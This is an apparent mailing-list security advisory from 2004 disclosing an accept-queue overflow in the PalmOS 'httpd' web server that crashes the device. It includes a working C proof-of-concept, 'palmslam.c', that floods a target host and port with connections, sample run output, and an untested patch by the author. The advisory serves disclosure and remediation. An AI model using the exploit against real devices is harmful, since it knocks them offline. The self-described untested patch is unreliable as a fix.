<<< Date Index >>>     <<< Thread Index >>>

PalmOS httpd accept() queue overflow DoS vulnerability.



Introduction
#############

'httpd' for PalmOS was originally written by Jim Rees,
and is a simple webserver for Palm powered PDAs. 
Since the development of httpd for Palm stopped, I
decided to modify 'httpd' slightly, and re-release it
on freshmeat.net.    
However, httpd contains a bug which causes the device
to crash due to a "Fatal Error".  The slightly
modified version of 'httpd' (called palmhttpd)
contains the same bug as the original, as I used Jim's
code.


The bug
########

The bug allows an attacker to crash the entire device,
causing a "Fatal Error", rendering the device unusable
until it is reset completely.  PalmOS can only handle
1 client connection, but 'httpd' implements a while(1)
loop to accept() connections forever.  Because of
this, httpd will accept more than 1 connection, which
PalmOS literally CANNOT do.  The result is a dialog
box saying "Fatal Error, NetStack1.c  overflowed
accept queue", which "Reset" button.

Below is the offending code:

---from httpd.c

[snip]
while (1) {          /* Cause of the bug is here! 
PalmOS can only accept 1 client connection! */
        if (f) {
            xclose(f);
            f = NULL;
        }
        if (fd >= 0) {
            close(fd);
            fd = -1;
        }

        /* Accept connections */
        len = sizeof saddr;
        AppNetTimeout = SysTicksPerSecond() * 1;
        if ((fd = accept(sfd, (struct sockaddr *)
&saddr, &len)) < 0) {
[snip]
---

Exploiting this DoS vulnerability will crash PalmOS
INDEFINATELY.



The exploit
############

Here is a PoC exploit for the issue:


---palmslam.c
/* PalmOS httpd accept queue overflow PoC exploit.
 * Compile: gcc palmslam.c -o palmslam
 * 
 * -shaun2k2
 */
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#define MAX_CON 1025
int main(int argc, char *argv[]) {
        if(argc < 3) {
                printf("Usage: palmslam <host>
<port>\n");
                exit(-1);
        }

        int sock[MAX_CON];
        int i;
        struct sockaddr_in dest[MAX_CON];
        struct hostent *host;
        if((host = gethostbyname(argv[1])) == -1) {
                printf("Couldn't resolve %s!\n",
argv[1]);
                exit(-1);
        }

        for(i = 0; i <= MAX_CON; i++) {
                if((sock[i] = socket(AF_INET,
SOCK_STREAM, 0)) == -1) {
                        printf("Couldn't create
socket!\n");
                        exit(-1);
                }

                dest[i].sin_family = AF_INET;
                dest[i].sin_port =
htons(atoi(argv[2]));
                dest[i].sin_addr = *((struct in_addr
*)host->h_addr);

                if(connect(sock[i], (struct sockaddr
*)&dest[i], sizeof(struct sockaddr)) == -1) {
                        printf("Couldn't connect to %s
on port %s!\n", argv[1], argv[2]);
                        exit(-1);
                }

                printf("%d : Connected!\n", i);
        }
        return(0);
}
---

I connected my Sony CLIE to the net via a simple pppd
script, ran palmhttpd, and ran the PoC exploit against
it:

---
[root@localhost DoS]# ./palmslam 6X.XX.68.XX 80
0 : Connected!
1 : Connected!
2 : Connected!
---


At this point, my CLIE's screen presented me with the
dialog box.


+---------------------------------------+
|              Fatal Error              |    
|---------------------------------------|           
|                                       |
|                                       |
|  Fatal Alert NetStack1.c, Line 4XXX,  |
|  overflowed accept queue              |            
|                                       |
|                                       |
|                                       |
|                                       |
|          +-----------------+          |
|          |      Reset      |          |
|          +-----------------+          | 
|                                       |
|---------------------------------------+



The fix
########

I have written a simple patch to fix the issue:

---httpd.patch
--- httpd.c     2004-01-14 17:21:41.000000000 +0000
+++ httpd.1.c   2004-02-08 17:13:33.000000000 +0000
@@ -391,8 +391,15 @@
     NetLibAddrINToA(AppNetRefnum,
ifinfo.param.interfaceInfo.ipAddr, host);
     printf("Listening on %s\n", host);

-    while (1) {
-       if (f) {
+    /* Here is where the bug manifests:  PalmOS can
only take 1 client
+     * connection (according to even the PalmOS
programming documentation),
+     * but this loop accept()s connections forever. 
The loop is now commented
+     * out, fixing the bug.
+     * -Shaun2k2
+     */
+
+        /*while (1) {*/
+       if (f) {
            xclose(f);
            f = NULL;
        }
@@ -507,7 +514,7 @@
     }

     printf("stopped\n");
-}
+/*}*/

 char html0[] = "HTTP/1.0 200 OK\nMIME-version:
1.0\nContent-type: %s\n\n";
---

Apply the patch: patch httpd.c httpd.patch

Type 'make' to recompile httpd.  Although I haven't
tested the patch, I assume it works.  Let me know if
it does not.

I will be uploading a patched version of palmhttpd to
freshmeat.net.


Credit
#######

This vulnerability was discovered by shaun2k2 / Shaun
Colley.



Thank you for your time.
Shaun.





        
        
                
___________________________________________________________
BT Yahoo! Broadband - Free modem offer, sign up online today and save £80 
http://btyahoo.yahoo.co.uk